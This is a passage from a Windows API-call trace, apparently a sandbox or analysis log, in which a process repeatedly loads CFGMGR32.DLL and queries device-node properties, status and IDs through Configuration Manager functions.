(hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0225.482] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0225.482] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0225.482] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0225.482] malloc (_Size=0x18) returned 0x196ef0d20e0 [0225.482] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x27, ulProperty=0x9, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0225.483] malloc (_Size=0x48) returned 0x196ef0fb810 [0225.483] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x67405617, dwHighDateTime=0x1d9eb0c)) [0225.483] SetEvent (hEvent=0x248) returned 1 [0225.486] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0225.486] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0225.486] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0225.486] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0225.487] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0225.487] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0225.487] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0225.487] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0225.487] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0225.487] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0225.488] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0225.488] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0225.488] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0225.488] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0225.488] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0225.490] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0225.490] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0225.490] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0225.490] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0225.490] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0225.491] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0225.491] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0225.491] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0225.491] malloc (_Size=0x18) returned 0x196ef0d19a0 [0225.491] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x27, ulProperty=0x8, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0225.492] malloc (_Size=0x48) returned 0x196ef0fbdb0 [0225.492] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x6742b964, dwHighDateTime=0x1d9eb0c)) [0225.492] SetEvent (hEvent=0x248) returned 1 [0225.495] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0225.495] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0225.495] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0225.496] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0225.496] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0225.496] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0225.496] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0225.496] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0225.496] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0225.497] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0225.497] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0225.497] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0225.497] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0225.497] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0225.497] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0225.498] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0225.498] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0225.498] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0225.498] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0225.498] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0225.498] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0225.498] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0225.499] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0225.499] malloc (_Size=0x18) returned 0x196ef0d1aa0 [0225.499] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x27, ulProperty=0x5, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0225.499] malloc (_Size=0x48) returned 0x196ef0fb8b0 [0225.499] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x6742b964, dwHighDateTime=0x1d9eb0c)) [0225.499] SetEvent (hEvent=0x248) returned 1 [0225.505] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0225.505] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0225.505] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0225.505] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0225.506] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0225.506] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0225.506] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0225.506] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0225.506] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0225.506] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0225.507] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0225.507] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0225.507] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0225.507] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0225.507] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0225.507] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0225.508] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0225.508] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0225.508] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0225.508] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0225.508] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0225.508] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0225.509] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0225.509] malloc (_Size=0x18) returned 0x196ef0d1bc0 [0225.509] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x27, ulProperty=0x1, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0225.514] malloc (_Size=0x48) returned 0x196ef0fb810 [0225.514] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x67451b11, dwHighDateTime=0x1d9eb0c)) [0225.514] SetEvent (hEvent=0x248) returned 1 [0225.570] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0225.570] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0225.571] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0225.571] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0225.571] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0225.571] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0225.571] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0225.571] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0225.571] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0225.572] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0225.572] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0225.572] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0225.572] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0225.572] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0225.572] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0225.572] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0225.572] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0225.572] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0225.573] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0225.573] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0225.573] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0225.573] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0225.573] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0225.573] malloc (_Size=0x18) returned 0x196ef0d1f20 [0225.573] CM_Get_DevNode_Status (in: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0, dnDevInst=0x27, ulFlags=0x0 | out: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0) returned 0x0 [0225.573] malloc (_Size=0x48) returned 0x196ef0fbd60 [0225.574] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d530 | out: lpSystemTimeAsFileTime=0x67117d530*(dwLowDateTime=0x674ea567, dwHighDateTime=0x1d9eb0c)) [0225.574] SetEvent (hEvent=0x248) returned 1 [0225.578] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0225.578] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0225.579] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0225.579] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0225.579] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0225.579] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0225.579] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0225.579] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0225.579] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0225.579] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0225.579] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0225.580] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0225.580] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0225.580] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0225.580] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0225.580] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0225.580] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0225.580] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0225.580] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0225.580] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0225.581] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0225.581] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0225.581] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0225.581] malloc (_Size=0x18) returned 0x196ef0d1b00 [0225.581] CM_Get_First_Log_Conf (in: plcLogConf=0x67117d5f8, dnDevInst=0x27, ulFlags=0x4 | out: plcLogConf=0x67117d5f8) returned 0xe [0225.581] malloc (_Size=0x48) returned 0x196ef0fbbd0 [0225.581] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d550 | out: lpSystemTimeAsFileTime=0x67117d550*(dwLowDateTime=0x674ea567, dwHighDateTime=0x1d9eb0c)) [0225.581] SetEvent (hEvent=0x248) returned 1 [0225.584] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0225.584] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0225.585] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0225.585] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0225.585] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0225.585] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0225.585] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0225.585] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0225.585] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0225.585] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0225.586] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0225.586] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0225.586] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0225.586] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0225.586] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0225.586] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0225.586] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0225.586] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0225.586] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0225.587] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0225.587] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0225.587] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0225.587] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0225.587] malloc (_Size=0x18) returned 0x196ef0d1e60 [0225.587] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x27, ulProperty=0xd, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x25 [0225.587] malloc (_Size=0x48) returned 0x196ef0fbf40 [0225.587] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x6751061d, dwHighDateTime=0x1d9eb0c)) [0225.588] SetEvent (hEvent=0x248) returned 1 [0225.591] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0225.591] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0225.592] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0225.592] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0225.592] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0225.592] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0225.592] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0225.592] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0225.592] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0225.592] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0225.593] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0225.593] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0225.593] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0225.593] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0225.593] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0225.593] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0225.593] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0225.594] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0225.594] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0225.594] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0225.594] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0225.594] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0225.594] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0225.594] malloc (_Size=0x18) returned 0x196ef0d1da0 [0225.594] CM_Get_Device_IDA (in: dnDevInst=0x28, Buffer=0x67117d4f0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="SWD\\RADIO\\{3DB5895D-CC28-44B3-AD3D-6F01A782B8D2}") returned 0x0 [0225.594] malloc (_Size=0x48) returned 0x196ef0fbef0 [0225.595] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d460 | out: lpSystemTimeAsFileTime=0x67117d460*(dwLowDateTime=0x6751061d, dwHighDateTime=0x1d9eb0c)) [0225.595] SetEvent (hEvent=0x248) returned 1 [0225.597] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0225.597] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0225.598] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0225.598] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0225.598] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0225.598] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0225.598] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0225.598] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0225.598] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0225.598] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0225.599] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0225.599] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0225.599] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0225.599] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0225.599] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0225.599] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0225.599] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0225.599] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0225.599] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0225.600] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0225.600] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0225.600] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0225.600] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0225.600] malloc (_Size=0x18) returned 0x196ef0d2000 [0225.600] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x28, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x25 [0225.600] malloc (_Size=0x48) returned 0x196ef0fbef0 [0225.600] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x67536a41, dwHighDateTime=0x1d9eb0c)) [0225.601] SetEvent (hEvent=0x248) returned 1 [0225.603] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0225.603] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0225.603] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0225.603] GetProcAddress 